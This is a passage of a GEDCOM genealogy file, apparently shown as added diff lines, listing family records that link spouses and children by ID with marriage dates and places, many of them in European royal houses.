+1 CHIL @I1535@
+0 @F578@ FAM
+1 HUSB @I1538@
+1 WIFE @I1539@
+1 CHIL @I1540@
+1 MARR
+2 DATE BEF    1065
+0 @F579@ FAM
+1 HUSB @I1541@
+1 WIFE @I1540@
+0 @F580@ FAM
+1 HUSB @I1533@
+1 WIFE @I1542@
+1 CHIL @I1753@
+1 CHIL @I1754@
+1 CHIL @I1543@
+1 CHIL @I1755@
+1 CHIL @I1756@
+1 CHIL @I1757@
+1 CHIL @I1758@
+1 CHIL @I1759@
+1 CHIL @I1760@
+1 CHIL @I1761@
+1 CHIL @I1762@
+1 MARR
+2 DATE ABT     985
+0 @F581@ FAM
+1 HUSB @I1543@
+1 WIFE @I1544@
+1 CHIL @I1764@
+1 CHIL @I1545@
+0 @F582@ FAM
+1 HUSB @I1545@
+1 WIFE @I1546@
+1 CHIL @I1512@
+1 CHIL @I1547@
+1 CHIL @I1766@
+0 @F583@ FAM
+1 HUSB @I1548@
+1 WIFE @I1549@
+1 CHIL @I1550@
+1 CHIL @I1551@
+1 DIV Y
+0 @F584@ FAM
+1 HUSB @I1548@
+1 WIFE @I1532@
+1 CHIL @I1552@
+1 CHIL @I1768@
+1 MARR
+2 DATE  2 JUL 1017
+0 @F585@ FAM
+1 HUSB @I1553@
+1 WIFE @I1526@
+1 CHIL @I1554@
+1 CHIL @I1555@
+0 @F586@ FAM
+1 HUSB @I1556@
+1 WIFE @I1390@
+1 MARR
+2 DATE        1086
+2 PLAC Caen
+0 @F587@ FAM
+1 HUSB @I1402@
+1 WIFE @I1523@
+1 MARR
+2 DATE ABT    1149
+0 @F588@ FAM
+1 HUSB @I1521@
+1 WIFE @I1403@
+1 DIV Y
+1 MARR
+2 DATE ABT    1160
+0 @F589@ FAM
+1 HUSB @I1522@
+1 WIFE @I1516@
+1 CHIL @I1398@
+0 @F590@ FAM
+1 HUSB @I1557@
+1 WIFE @I1379@
+1 MARR
+2 DATE 13 FEB 1177
+2 PLAC Palermo,Italy
+0 @F591@ FAM
+1 HUSB @I1558@
+1 WIFE @I1379@
+1 MARR
+2 DATE    OCT 1196
+2 PLAC Rouen
+0 @F592@ FAM
+1 HUSB @I1559@
+1 WIFE @I156@
+1 CHIL @I1560@
+1 CHIL @I1561@
+1 MARR
+2 DATE        1916
+2 PLAC ,,,Russia
+0 @F593@ FAM
+1 HUSB @I44@
+1 WIFE @I1569@
+1 CHIL @I1570@
+1 CHIL @I1571@
+1 CHIL @I1572@
+0 @F594@ FAM
+1 HUSB @I1570@
+1 WIFE @I1573@
+1 CHIL @I1574@
+0 @F595@ FAM
+1 HUSB @I1575@
+1 WIFE @I1571@
+1 CHIL @I1576@
+1 CHIL @I1577@
+0 @F596@ FAM
+1 HUSB @I1578@
+1 WIFE @I1572@
+1 CHIL @I1579@
+1 CHIL @I1580@
+0 @F597@ FAM
+1 HUSB @I1581@
+1 WIFE @I1572@
+0 @F598@ FAM
+1 HUSB @I873@
+1 WIFE @I1370@
+1 CHIL @I1147@
+1 MARR
+2 DATE  7 JAN 1239
+2 PLAC Westminster
+0 @F599@ FAM
+1 HUSB @I1367@
+1 WIFE @I596@
+1 CHIL @I1882@
+1 MARR
+2 DATE 13 MAR 1231
+2 PLAC Fawley,Bucks
+0 @F600@ FAM
+1 HUSB @I1367@
+1 WIFE @I1582@
+1 CHIL @I1887@
+1 CHIL @I1888@
+1 MARR
+2 DATE 23 NOV 1243
+2 PLAC Westminster,Abbey,London,England
+0 @F601@ FAM
+1 HUSB @I1367@
+1 WIFE @I1583@
+1 MARR
+2 DATE 16 JUN 1269
+2 PLAC Kaiserslautern,Germany
+0 @F602@ FAM
+1 HUSB @I1584@
+1 WIFE @I1369@
+1 MARR
+2 DATE 20 JUL
+2 PLAC Worms
+0 @F603@ FAM
+1 HUSB @I1585@
+1 WIFE @I1283@
+1 CHIL @I2234@
+1 MARR
+2 DATE 26 DEC 1251
+2 PLAC York
+0 @F604@ FAM
+1 HUSB @I1586@
+1 WIFE @I1284@
+1 MARR
+2 DATE 22 JAN 1260
+2 PLAC St Denis
+0 @F605@ FAM
+1 HUSB @I1285@
+1 WIFE @I1587@
+1 MARR
+2 DATE  9 APR 1269
+2 PLAC Westminster,Abbey,London,England
+0 @F606@ FAM
+1 HUSB @I1588@
+1 WIFE @I1268@
+1 MARR
+2 DATE 30 APR 1290
+2 PLAC Westminster,Abbey,London,England
+0 @F607@ FAM
+1 HUSB @I1589@
+1 WIFE @I1268@
+1 MARR
+2 DATE    JAN 1297
+0 @F608@ FAM
+1 HUSB @I1590@
+1 WIFE @I1270@
+1 MARR
+2 DATE  8 JUL 1290
+2 PLAC Westminster,Abbey,London,England
+0 @F609@ FAM
+1 HUSB @I1591@
+1 WIFE @I1274@
+1 MARR
+2 DATE 18 JAN 1297
+2 PLAC Ipswich
+0 @F610@ FAM
+1 HUSB @I1592@
+1 WIFE @I1274@
+1 MARR
+2 DATE 14 NOV 1302
+2 PLAC Westminster
+0 @F611@ FAM
+1 HUSB @I1278@
+1 WIFE @I1593@
+1 MARR
+2 DATE ABT    1328
+0 @F612@ FAM
+1 HUSB @I1594@
+1 WIFE @I1239@
+1 MARR
+2 DATE        1361
+2 PLAC Woodstock
+0 @F613@ FAM
+1 HUSB @I1224@
+1 WIFE @I1595@
+1 MARR
+2 DATE        1412
+0 @F614@ FAM
+1 HUSB @I1225@
+1 WIFE @I1596@
+1 MARR
+2 DATE 17 APR 1423
+2 PLAC Troyes
+0 @F615@ FAM
+1 HUSB @I1226@
+1 WIFE @I1597@
+1 MARR
+2 DATE        1422
+0 @F616@ FAM
+1 HUSB @I1226@
+1 WIFE @I1598@
+1 MARR
+2 DATE BEF    1431
+0 @F617@ FAM
+1 HUSB @I1599@
+1 WIFE @I1227@
+1 MARR
+2 DATE  6 JUL 1402
+2 PLAC Cologne,Germany
+0 @F618@ FAM
+1 HUSB @I1600@
+1 WIFE @I1228@
+1 MARR
+2 DATE 26 OCT 1406
+2 PLAC Lund
+0 @F619@ FAM
+1 HUSB @I1594@
+1 WIFE @I1601@
+1 MARR
+2 DATE 11 SEP 1386
+2 PLAC Saille,Near Guerrand
+0 @F620@ FAM
+1 HUSB @I1221@
+1 WIFE @I1601@
+1 MARR
+2 DATE  7 FEB 1403
+2 PLAC Winchester,Cathedral,London,England
+0 @F621@ FAM
+1 HUSB @I1602@
+1 WIFE @I1603@
+1 CHIL @I1026@
+0 @F622@ FAM
+1 HUSB @I1604@
+1 WIFE @I330@
+1 CHIL @I1736@
+1 CHIL @I301@
+1 MARR
+2 DATE 28 JUN 1740
+2 PLAC Cassel
+0 @F623@ FAM
+1 HUSB @I1162@
+1 WIFE @I1605@
+1 MARR
+2 DATE        1733
+0 @F624@ FAM
+1 HUSB @I1606@
+1 CHIL @I1605@
+0 @F625@ FAM
+1 HUSB @I1608@
+1 WIFE @I1396@
+1 MARR
+2 DATE        1138
+0 @F626@ FAM
+1 HUSB @I1609@
+1 WIFE @I610@
+1 CHIL @I1610@
+1 CHIL @I1611@
+1 MARR
+2 DATE 10 JUN 1967
+2 PLAC Copenhagen,Denmark
+0 @F627@ FAM
+1 HUSB @I1613@
+1 WIFE @I1614@
+1 CHIL @I1027@
+1 CHIL @I458@
+1 MARR
+2 DATE 19 JUN 1823
+2 PLAC Stockholm,Sweden
+0 @F628@ FAM
+1 HUSB @I1615@
+1 WIFE @I1616@
+1 CHIL @I1613@
+1 MARR
+2 DATE 17 AUG 1798
+2 PLAC Sceaux
+0 @F629@ FAM
+1 HUSB @I1617@
+1 WIFE @I1618@
+1 CHIL @I1642@
+1 CHIL @I1655@
+1 CHIL @I1656@
+1 CHIL @I1657@
+1 CHIL @I1658@
+1 CHIL @I1659@
+1 CHIL @I1660@
+1 CHIL @I1650@
+1 MARR
+2 DATE 31 JUL 1790
+2 PLAC Gottorp
+0 @F630@ FAM
+1 HUSB @I344@
+1 WIFE @I1619@
+1 CHIL @I1643@
+1 MARR
+2 DATE  8 JUL 1752
+2 PLAC Frederiksborg,Denmark
+0 @F631@ FAM
+1 HUSB @I1620@
+1 WIFE @I1621@
+1 CHIL @I344@
+1 CHIL @I2850@
+1 MARR
+2 DATE  7 AUG 1721
+0 @F632@ FAM
+1 HUSB @I1622@
+1 WIFE @I1623@
+1 CHIL @I1620@
+1 MARR
+2 DATE  5 DEC 1695
+0 @F633@ FAM
+1 HUSB @I1622@
+1 WIFE @I1624@
+1 MARR
+2 DATE  4 APR 1721
+0 @F634@ FAM
+1 HUSB @I1625@
+1 WIFE @I1626@
+1 CHIL @I1622@
+1 CHIL @I2854@
+1 CHIL @I2855@
+1 MARR
+2 DATE 25 JUN 1667
+2 PLAC Copenhagen,Denmark
+0 @F635@ FAM
+1 HUSB @I1627@
+1 WIFE @I1628@
+1 CHIL @I1630@
+1 MARR
+2 DATE 27 NOV 1597
+0 @F636@ FAM
+1 HUSB @I1627@
+1 WIFE @I1629@
+1 DIV Y
+1 MARR
+2 DATE 31 DEC 1615
+0 @F637@ FAM
+1 HUSB @I1630@
+1 WIFE @I1631@
+1 CHIL @I1625@
+1 CHIL @I2856@
+1 CHIL @I2857@
+1 CHIL @I692@
+1 CHIL @I2858@
+1 MARR
+2 DATE  1 OCT 1643
+2 PLAC Gluckstadt
+0 @F638@ FAM
+1 HUSB @I1632@
+1 WIFE @I1633@
+1 CHIL @I737@
+1 MARR
+2 DATE 29 OCT 1525
+2 PLAC Lauenburg
+0 @F639@ FAM
+1 HUSB @I1634@
+1 WIFE @I1635@
+1 CHIL @I1632@
+1 MARR
+2 DATE 10 APR 1502
+0 @F640@ FAM
+1 HUSB @I1634@
+1 WIFE @I1636@
+1 MARR
+2 DATE  9 OCT 1518
+2 PLAC Keil
+0 @F641@ FAM
+1 HUSB @I1641@
+1 WIFE @I1640@
+1 CHIL @I1618@
+1 CHIL @I346@
+0 @F642@ FAM
+1 HUSB @I1643@
+1 WIFE @I1644@
+1 CHIL @I1645@
+1 CHIL @I299@
+1 CHIL @I1646@
+1 MARR
+2 DATE        1774
+0 @F643@ FAM
+1 HUSB @I1645@
+1 WIFE @I1647@
+1 CHIL @I1649@
+1 DIV Y
+1 MARR
+2 DATE 21 JUN 1806
+2 PLAC Ludwigslust
+0 @F644@ FAM
+1 HUSB @I1645@
+1 WIFE @I1648@
+1 MARR
+2 DATE 22 MAY 1815
+2 PLAC Augustenburg
+0 @F645@ FAM
+1 HUSB @I1649@
+1 WIFE @I1650@
+1 DIV Y
+1 MARR
+2 DATE  1 NOV 1828
+2 PLAC Copenhagen
+0 @F646@ FAM
+1 HUSB @I1649@
+1 WIFE @I1651@
+1 DIV Y
+1 MARR
+2 DATE 10 JUN 1841
+2 PLAC Neustrelitz
+0 @F647@ FAM
+1 HUSB @I1649@
+1 WIFE @I1652@
+1 MARR
+2 DATE  7 AUG 1850
+2 PLAC Frederiksborg
+0 @F648@ FAM
+1 HUSB @I1654@
+1 WIFE @I1653@
+1 CHIL @I1648@
+0 @F649@ FAM
+1 HUSB @I1646@
+1 WIFE @I1656@
+0 @F650@ FAM
+1 HUSB @I1661@
+1 WIFE @I1650@
+0 @F651@ FAM
+1 HUSB @I1668@
+1 WIFE @I1667@
+1 MARR
+2 DATE        1922
+0 @F652@ FAM
+1 HUSB @I1664@
+1 WIFE @I1669@
+1 CHIL @I2699@
+1 CHIL @I1670@
+1 CHIL @I2700@
+1 CHIL @I2701@
+1 CHIL @I2702@
+1 MARR
+2 DATE        1909
+0 @F653@ FAM
+1 HUSB @I1673@
+1 WIFE @I1672@
+1 MARR
+2 DATE        1968
+0 @F654@ FAM
+1 HUSB @I1671@
+1 WIFE @I1670@
+1 CHIL @I1674@
+1 CHIL @I1675@
+1 CHIL @I1676@
+1 MARR
+2 DATE        1933
+0 @F655@ FAM
+1 HUSB @I1676@
+1 WIFE @I1677@
+1 MARR
+2 DATE        1971
+0 @F656@ FAM
+1 HUSB @I1685@
+1 WIFE @I1684@
+1 MARR
+2 DATE        1871
+0 @F657@ FAM
+1 HUSB @I1686@
+1 WIFE @I1204@
+1 DIV Y
+1 MARR
+2 DATE        1964
+0 @F658@ FAM
+1 HUSB @I1687@
+1 WIFE @I1205@
+1 MARR
+2 DATE        1967
+0 @F659@ FAM
+1 HUSB @I1688@
+1 WIFE @I1206@
+1 MARR
+2 DATE        1975
+0 @F660@ FAM
+1 HUSB @I1693@
+1 WIFE @I1692@
+1 MARR
+2 DATE        1842
+0 @F661@ FAM
+1 HUSB @I1694@
+1 CHIL @I322@
+0 @F662@ FAM
+1 HUSB @I1148@
+1 WIFE @I1695@
+1 MARR
+2 DATE 22 NOV 1836
+2 PLAC Oldenburg,Germany
+0 @F663@ FAM
+1 HUSB @I1696@
+1 WIFE @I245@
+1 CHIL @I1697@
+1 CHIL @I1698@
+1 CHIL @I1114@
+1 CHIL @I1699@
+1 MARR
+2 DATE  9 AUG 1832
+2 PLAC Compiegne
+0 @F664@ FAM
+1 HUSB @I417@
+1 WIFE @I2512@
+1 MARR
+2 DATE         770
+0 @F665@ FAM
+1 HUSB @I1706@
+1 WIFE @I1707@
+1 CHIL @I2152@
+1 CHIL @I2153@
+1 CHIL @I2154@
+1 MARR
+2 DATE        1956
+0 @F666@ FAM
+1 HUSB @I282@
+1 WIFE @I1708@
+0 @F667@ FAM
+1 HUSB @I1709@
+1 WIFE @I284@
+0 @F668@ FAM
+1 HUSB @I1710@
+1 WIFE @I285@
+0 @F669@ FAM
+1 HUSB @I1711@
+1 WIFE @I289@
+0 @F670@ FAM
+1 HUSB @I1714@
+1 WIFE @I1715@
+0 @F671@ FAM
+1 HUSB @I1716@
+1 CHIL @I792@
+0 @F672@ FAM
+1 HUSB @I1717@
+1 WIFE @I1718@
+1 CHIL @I1716@
+0 @F673@ FAM
+1 HUSB @I1719@
+1 CHIL @I1717@
+0 @F674@ FAM
+1 HUSB @I1720@
+1 CHIL @I1719@
+1 CHIL @I1721@
+0 @F675@ FAM
+1 HUSB @I1722@
+1 CHIL @I787@
+0 @F676@ FAM
+1 WIFE @I1723@
+1 CHIL @I1722@
+0 @F677@ FAM
+1 WIFE @I1721@
+1 CHIL @I1723@
+0 @F678@ FAM
+1 WIFE @I1724@
+1 CHIL @I1718@
+0 @F679@ FAM
+1 WIFE @I1725@
+1 CHIL @I1724@
+0 @F680@ FAM
+1 HUSB @I1726@
+1 WIFE @I1727@
+1 CHIL @I1725@
+0 @F681@ FAM
+1 HUSB @I1728@
+1 CHIL @I789@
+0 @F682@ FAM
+1 HUSB @I1729@
+1 CHIL @I782@
+1 CHIL @I1728@
+0 @F683@ FAM
+1 HUSB @I398@
+1 WIFE @I1730@
+1 CHIL @I1731@
+0 @F684@ FAM
+1 HUSB @I1731@
+1 WIFE @I1732@
+0 @F685@ FAM
+1 HUSB @I1735@
+1 CHIL @I1291@
+0 @F686@ FAM
+1 HUSB @I1662@
+1 WIFE @I1699@
+1 MARR
+2 DATE        1857
+0 @F687@ FAM
+1 HUSB @I1663@
+1 WIFE @I1738@
+0 @F688@ FAM
+1 HUSB @I1739@
+1 WIFE @I2485@
+1 CHIL @I1903@
+1 CHIL @I1277@
+1 MARR
+2 DATE        1274
+0 @F689@ FAM
+1 HUSB @I1740@
+1 WIFE @I2482@
+1 CHIL @I1739@
+1 MARR
+2 DATE        1234
+0 @F690@ FAM
+1 HUSB @I1741@
+1 WIFE @I1742@
+1 CHIL @I1740@
+1 CHIL @I1894@
+1 CHIL @I2481@
+1 CHIL @I2484@
+1 MARR
+2 DATE        1200
+0 @F691@ FAM
+1 HUSB @I1891@
+1 CHIL @I1742@
+0 @F692@ FAM
+1 HUSB @I1744@
+1 WIFE @I1745@
+0 @F693@ FAM
+1 HUSB @I1746@
+1 CHIL @I1749@
+1 CHIL @I1262@
+0 @F694@ FAM
+1 HUSB @I2452@
+1 WIFE @I1892@
+1 DIV Y
+1 MARR
+2 DATE        1104
+0 @F695@ FAM
+1 HUSB @I1748@
+1 CHIL @I1520@
+0 @F696@ FAM
+1 HUSB @I1749@
+1 WIFE @I1750@
+1 CHIL @I1751@
+0 @F697@ FAM
+1 HUSB @I1452@
+1 CHIL @I1542@
+0 @F698@ FAM
+1 HUSB @I1752@
+1 CHIL @I1452@
+0 @F699@ FAM
+1 HUSB @I1763@
+1 CHIL @I1765@
+1 CHIL @I1546@
+0 @F700@ FAM
+1 HUSB @I1764@
+1 WIFE @I1765@
+0 @F701@ FAM
+1 HUSB @I1769@
+1 WIFE @I1759@
+0 @F702@ FAM
+1 HUSB @I1770@
+1 WIFE @I1760@
+0 @F703@ FAM
+1 HUSB @I1771@
+1 CHIL @I1770@
+0 @F704@ FAM
+1 HUSB @I1772@
+1 WIFE @I1761@
+0 @F705@ FAM
+1 HUSB @I1773@
+1 WIFE @I1762@
+0 @F706@ FAM
+1 HUSB @I1774@
+1 CHIL @I1539@
+0 @F707@ FAM
+1 HUSB @I1775@
+1 CHIL @I1549@
+0 @F708@ FAM
+1 HUSB @I1776@
+1 WIFE @I1777@
+1 CHIL @I1548@
+0 @F709@ FAM
+1 HUSB @I1778@
+1 CHIL @I1777@
+0 @F710@ FAM
+1 HUSB @I1779@
+1 WIFE @I1780@
+1 CHIL @I1784@
+1 CHIL @I1533@
+0 @F711@ FAM
+1 HUSB @I1779@
+1 WIFE @I1781@
+1 CHIL @I1782@
+0 @F712@ FAM
+1 HUSB @I1783@
+1 CHIL @I1781@
+0 @F713@ FAM
+1 HUSB @I1785@
+1 CHIL @I1780@
+0 @F714@ FAM
+1 HUSB @I1786@
+1 WIFE @I1787@
+1 CHIL @I1788@
+1 CHIL @I1779@
+0 @F715@ FAM
+1 HUSB @I1788@
+1 WIFE @I1789@
+0 @F716@ FAM
+1 HUSB @I1786@
+1 WIFE @I1790@
+0 @F717@ FAM
+1 HUSB @I1791@
+1 CHIL @I1790@
+0 @F718@ FAM
+1 HUSB @I1792@
+1 WIFE @I1793@
+1 CHIL @I1786@
+1 CHIL @I1794@
+1 CHIL @I1795@
+1 CHIL @I1796@
+0 @F719@ FAM
+1 HUSB @I1797@
+1 WIFE @I1796@
+0 @F720@ FAM
+1 HUSB @I1792@
+1 WIFE @I1798@
+1 CHIL @I1799@
+1 CHIL @I1800@
+0 @F721@ FAM
+1 HUSB @I1801@
+1 WIFE @I1800@
+0 @F722@ FAM
+1 HUSB @I1792@
+1 WIFE @I1802@
+1 CHIL @I1803@
+1 CHIL @I1804@
+1 CHIL @I1805@
+1 CHIL @I1806@
+1 CHIL @I1807@
+1 CHIL @I1808@
+1 CHIL @I1809@
+1 CHIL @I1810@
+0 @F723@ FAM
+1 HUSB @I1811@
+1 WIFE @I1806@
+0 @F724@ FAM
+1 HUSB @I1812@
+1 WIFE @I1808@
+0 @F725@ FAM
+1 HUSB @I1813@
+1 WIFE @I1809@
+0 @F726@ FAM
+1 HUSB @I1814@
+1 WIFE @I1810@
+0 @F727@ FAM
+1 HUSB @I1815@
+1 CHIL @I1251@
+0 @F728@ FAM
+1 HUSB @I1816@
+1 WIFE @I2440@
+1 CHIL @I1429@
+1 CHIL @I2438@
+1 MARR
+2 DATE 18 MAY 1514
+0 @F729@ FAM
+1 HUSB @I2524@
+1 WIFE @I1817@
+1 CHIL @I2441@
+1 CHIL @I1816@
+0 @F730@ FAM
+1 HUSB @I1818@
+1 CHIL @I1448@
+0 @F731@ FAM
+1 HUSB @I1819@
+1 CHIL @I1456@
+0 @F732@ FAM
+1 HUSB @I1820@
+1 CHIL @I1464@
+0 @F733@ FAM
+1 HUSB @I1822@
+1 WIFE @I1821@
+0 @F734@ FAM
+1 HUSB @I1823@
+1 WIFE @I1821@
+0 @F735@ FAM
+1 HUSB @I1824@
+1 WIFE @I1821@
+0 @F736@ FAM
+1 HUSB @I1329@
+0 @F737@ FAM
+1 HUSB @I1825@
+1 CHIL @I1461@
+0 @F738@ FAM
+1 HUSB @I1826@
+1 CHIL @I1467@
+0 @F739@ FAM
+1 HUSB @I1827@
+1 WIFE @I1828@
+1 CHIL @I1469@
+1 CHIL @I1468@
+1 CHIL @I1634@
+1 MARR
+2 DATE        1449
+0 @F740@ FAM
+1 HUSB @I1830@
+1 WIFE @I1831@
+1 CHIL @I1447@
+1 CHIL @I2869@
+1 CHIL @I2870@
+1 CHIL @I2871@
+1 CHIL @I2872@
+1 CHIL @I2873@
+0 @F741@ FAM
+1 HUSB @I1832@
+1 WIFE @I1833@
+1 CHIL @I1830@
+0 @F742@ FAM
+1 HUSB @I1834@
+1 CHIL @I1833@
+0 @F743@ FAM
+1 HUSB @I1835@
+1 WIFE @I1836@
+1 CHIL @I1832@
+0 @F744@ FAM
+1 HUSB @I1837@
+1 WIFE @I1838@
+1 CHIL @I1842@
+1 CHIL @I1836@
+0 @F745@ FAM
+1 HUSB @I1839@
+1 CHIL @I1838@
+0 @F746@ FAM
+1 HUSB @I1840@
+1 WIFE @I1453@
+0 @F747@ FAM
+1 HUSB @I1841@
+1 CHIL @I1453@
+0 @F748@ FAM
+1 HUSB @I1843@
+0 @F749@ FAM
+1 HUSB @I1845@
+1 WIFE @I1844@
+1 CHIL @I1846@
+0 @F750@ FAM
+1 HUSB @I1846@
+1 WIFE @I1847@
+1 CHIL @I1849@
+0 @F751@ FAM
+1 HUSB @I1848@
+1 CHIL @I1847@
+0 @F752@ FAM
+1 HUSB @I1850@
+1 CHIL @I1381@
+0 @F753@ FAM
+1 HUSB @I1382@
+1 WIFE @I1851@
+1 CHIL @I1853@
+0 @F754@ FAM
+1 HUSB @I1852@
+1 CHIL @I1851@
+0 @F755@ FAM
+1 HUSB @I1853@
+1 WIFE @I1854@
+1 DIV Y
+0 @F756@ FAM
+1 HUSB @I1859@
+1 CHIL @I1396@
+0 @F757@ FAM
+1 HUSB @I1853@
+1 WIFE @I1856@
+0 @F758@ FAM
+1 HUSB @I1857@
+1 CHIL @I1856@
+0 @F759@ FAM
+1 HUSB @I1394@
+1 WIFE @I1858@
+0 @F760@ FAM
+1 HUSB @I1855@
+1 CHIL @I1858@
+1 CHIL @I1854@
+0 @F761@ FAM
+1 HUSB @I1861@
+1 WIFE @I1862@
+0 @F762@ FAM
+1 HUSB @I1863@
+1 CHIL @I1862@
+0 @F763@ FAM
+1 HUSB @I1518@
+1 WIFE @I1864@
+0 @F764@ FAM
+1 HUSB @I1865@
+1 CHIL @I1864@
+0 @F765@ FAM
+1 HUSB @I1868@
+1 CHIL @I1372@
+0 @F766@ FAM
+1 HUSB @I1869@
+1 WIFE @I1372@
+1 CHIL @I1510@
+1 DIV Y
+1 MARR
+2 DATE        1137
+0 @F767@ FAM
+1 HUSB @I1870@
+1 CHIL @I1523@
+0 @F768@ FAM
+1 HUSB @I1871@
+1 CHIL @I1521@
+0 @F769@ FAM
+1 HUSB @I1872@
+1 CHIL @I1508@
+0 @F770@ FAM
+1 HUSB @I1874@
+1 CHIL @I1506@
+0 @F771@ FAM
+1 HUSB @I1875@
+1 WIFE @I1506@
+0 @F772@ FAM
+1 HUSB @I1876@
+1 WIFE @I1506@
+0 @F773@ FAM
+1 HUSB @I1877@
+1 CHIL @I1365@
+0 @F774@ FAM
+1 HUSB @I1878@
+1 WIFE @I1365@
+0 @F775@ FAM
+1 HUSB @I1879@
+1 WIFE @I1365@
+0 @F776@ FAM
+1 HUSB @I1880@
+1 WIFE @I1366@
+0 @F777@ FAM
+1 HUSB @I1881@
+1 CHIL @I1282@
+0 @F778@ FAM
+1 HUSB @I1883@
+1 CHIL @I596@
+0 @F779@ FAM
+1 HUSB @I1884@
+1 CHIL @I1582@
+0 @F780@ FAM
+1 HUSB @I1885@
+1 CHIL @I1583@
+0 @F781@ FAM
+1 HUSB @I1886@
+1 WIFE @I1368@
+0 @F782@ FAM
+1 HUSB @I1887@
+1 WIFE @I1889@
+0 @F783@ FAM
+1 HUSB @I1890@
+1 CHIL @I1889@
+0 @F784@ FAM
+1 HUSB @I1891@
+1 WIFE @I1747@
+1 CHIL @I1746@
+1 DIV Y
+1 MARR
+2 DATE        1197
+0 @F785@ FAM
+1 HUSB @I1893@
+1 CHIL @I1587@
+0 @F786@ FAM
+1 HUSB @I1894@
+1 WIFE @I1895@
+1 CHIL @I1495@
+0 @F787@ FAM
+1 HUSB @I1585@
+1 WIFE @I1896@
+0 @F788@ FAM
+1 HUSB @I1897@
+1 CHIL @I1896@
+0 @F789@ FAM
+1 HUSB @I1898@
+1 CHIL @I1504@
+0 @F790@ FAM
+1 HUSB @I1899@
+1 CHIL @I1593@
+0 @F791@ FAM
+1 HUSB @I1900@
+1 WIFE @I1593@
+0 @F792@ FAM
+1 HUSB @I1901@
+1 CHIL @I1505@
+0 @F793@ FAM
+1 HUSB @I1902@
+1 WIFE @I1505@
+0 @F794@ FAM
+1 HUSB @I1903@
+1 WIFE @I2486@
+1 CHIL @I2464@
+1 CHIL @I127@
+1 CHIL @I2465@
+1 CHIL @I1743@
+1 MARR
+2 DATE        1284
+0 @F795@ FAM
+1 HUSB @I1904@
+1 CHIL @I1349@
+0 @F796@ FAM
+1 HUSB @I1905@
+1 CHIL @I1904@
+0 @F797@ FAM
+1 HUSB @I1906@
+1 CHIL @I1905@
+0 @F798@ FAM
+1 HUSB @I1907@
+1 CHIL @I1906@
+0 @F799@ FAM
+1 HUSB @I1908@
+1 WIFE @I1909@
+1 CHIL @I1907@
+0 @F800@ FAM
+1 HUSB @I1910@
+1 WIFE @I1911@
+1 CHIL @I1908@
+0 @F801@ FAM
+1 HUSB @I1912@
+1 WIFE @I1911@
+0 @F802@ FAM
+1 HUSB @I1913@
+1 WIFE @I1956@
+1 CHIL @I1957@
+1 CHIL @I1958@
+1 CHIL @I1911@
+1 CHIL @I1959@
+0 @F803@ FAM
+1 HUSB @I1914@
+1 CHIL @I361@
+0 @F804@ FAM
+1 HUSB @I1915@
+1 WIFE @I1916@
+1 CHIL @I1917@
+1 CHIL @I1914@
+0 @F805@ FAM
+1 HUSB @I1918@
+1 CHIL @I1916@
+0 @F806@ FAM
+1 HUSB @I1843@
+1 WIFE @I1842@
+1 CHIL @I1844@
+0 @F807@ FAM
+1 HUSB @I1919@
+1 WIFE @I2216@
+1 CHIL @I1909@
+0 @F808@ FAM
+1 HUSB @I1912@
+1 CHIL @I1919@
+0 @F809@ FAM
+1 HUSB @I1920@
+1 WIFE @I1921@
+1 CHIL @I1912@
+0 @F810@ FAM
+1 HUSB @I1922@
+1 WIFE @I1923@
+1 CHIL @I1921@
+0 @F811@ FAM
+1 HUSB @I1924@
+1 WIFE @I1925@
+1 CHIL @I1923@
+0 @F812@ FAM
+1 HUSB @I1926@
+1 WIFE @I1927@
+1 CHIL @I1925@
+0 @F813@ FAM
+1 HUSB @I1928@
+1 WIFE @I1539@
+1 CHIL @I1927@
+0 @F814@ FAM
+1 HUSB @I1930@
+1 WIFE @I1931@
+1 CHIL @I1928@
+0 @F815@ FAM
+1 HUSB @I1932@
+1 WIFE @I1931@
+1 CHIL @I1933@
+0 @F816@ FAM
+1 HUSB @I1934@
+1 CHIL @I1931@
+0 @F817@ FAM
+1 HUSB @I1935@
+1 CHIL @I1934@
+1 CHIL @I2185@
+0 @F818@ FAM
+1 HUSB @I1936@
+1 CHIL @I1935@
+0 @F819@ FAM
+1 HUSB @I1937@
+1 CHIL @I1936@
+0 @F820@ FAM
+1 HUSB @I1938@
+1 CHIL @I1939@
+1 CHIL @I1937@
+0 @F821@ FAM
+1 HUSB @I1940@
+1 WIFE @I1941@
+1 CHIL @I1942@
+1 CHIL @I1943@
+1 CHIL @I1944@
+0 @F822@ FAM
+1 HUSB @I1939@
+1 CHIL @I1940@
+0 @F823@ FAM
+1 HUSB @I1945@
+1 CHIL @I1947@
+0 @F824@ FAM
+1 HUSB @I1943@
+1 CHIL @I1945@
+1 CHIL @I1946@
+0 @F825@ FAM
+1 HUSB @I1944@
+1 CHIL @I1948@
+0 @F826@ FAM
+1 HUSB @I1948@
+1 CHIL @I1949@
+0 @F827@ FAM
+1 HUSB @I1950@
+1 CHIL @I1951@
+0 @F828@ FAM
+1 HUSB @I1949@
+1 CHIL @I1950@
+0 @F829@ FAM
+1 HUSB @I1951@
+1 CHIL @I1952@
+0 @F830@ FAM
+1 HUSB @I1953@
+1 CHIL @I1913@
+0 @F831@ FAM
+1 HUSB @I1952@
+1 WIFE @I1954@
+1 CHIL @I1955@
+1 CHIL @I1953@
+0 @F832@ FAM
+1 HUSB @I1961@
+1 CHIL @I1960@
+0 @F833@ FAM
+1 HUSB @I1957@
+1 CHIL @I1961@
+0 @F834@ FAM
+1 HUSB @I1964@
+1 WIFE @I1965@
+1 CHIL @I1792@
+1 CHIL @I1982@
+1 CHIL @I1985@
+1 CHIL @I1986@
+1 CHIL @I1987@
+0 @F835@ FAM
+1 HUSB @I1966@
+1 WIFE @I1967@
+1 CHIL @I1968@
+1 CHIL @I1969@
+1 CHIL @I1971@
+1 CHIL @I1977@
+1 CHIL @I1972@
+1 CHIL @I1964@
+0 @F836@ FAM
+1 HUSB @I1969@
+1 WIFE @I1970@
+0 @F837@ FAM
+1 HUSB @I1973@
+1 WIFE @I1974@
+1 CHIL @I1966@
+1 CHIL @I1975@
+0 @F838@ FAM
+1 HUSB @I1966@
+1 WIFE @I1970@
+0 @F839@ FAM
+1 HUSB @I1976@
+1 CHIL @I1967@
+0 @F840@ FAM
+1 HUSB @I1972@
+1 CHIL @I1978@
+1 CHIL @I1979@
+0 @F841@ FAM
+1 HUSB @I1980@
+1 WIFE @I1977@
+0 @F842@ FAM
+1 HUSB @I1981@
+1 CHIL @I1965@
+0 @F843@ FAM
+1 HUSB @I1982@
+1 CHIL @I1983@
+1 CHIL @I1984@
+0 @F844@ FAM
+1 HUSB @I1988@
+1 WIFE @I1987@
+0 @F845@ FAM
+1 HUSB @I1989@
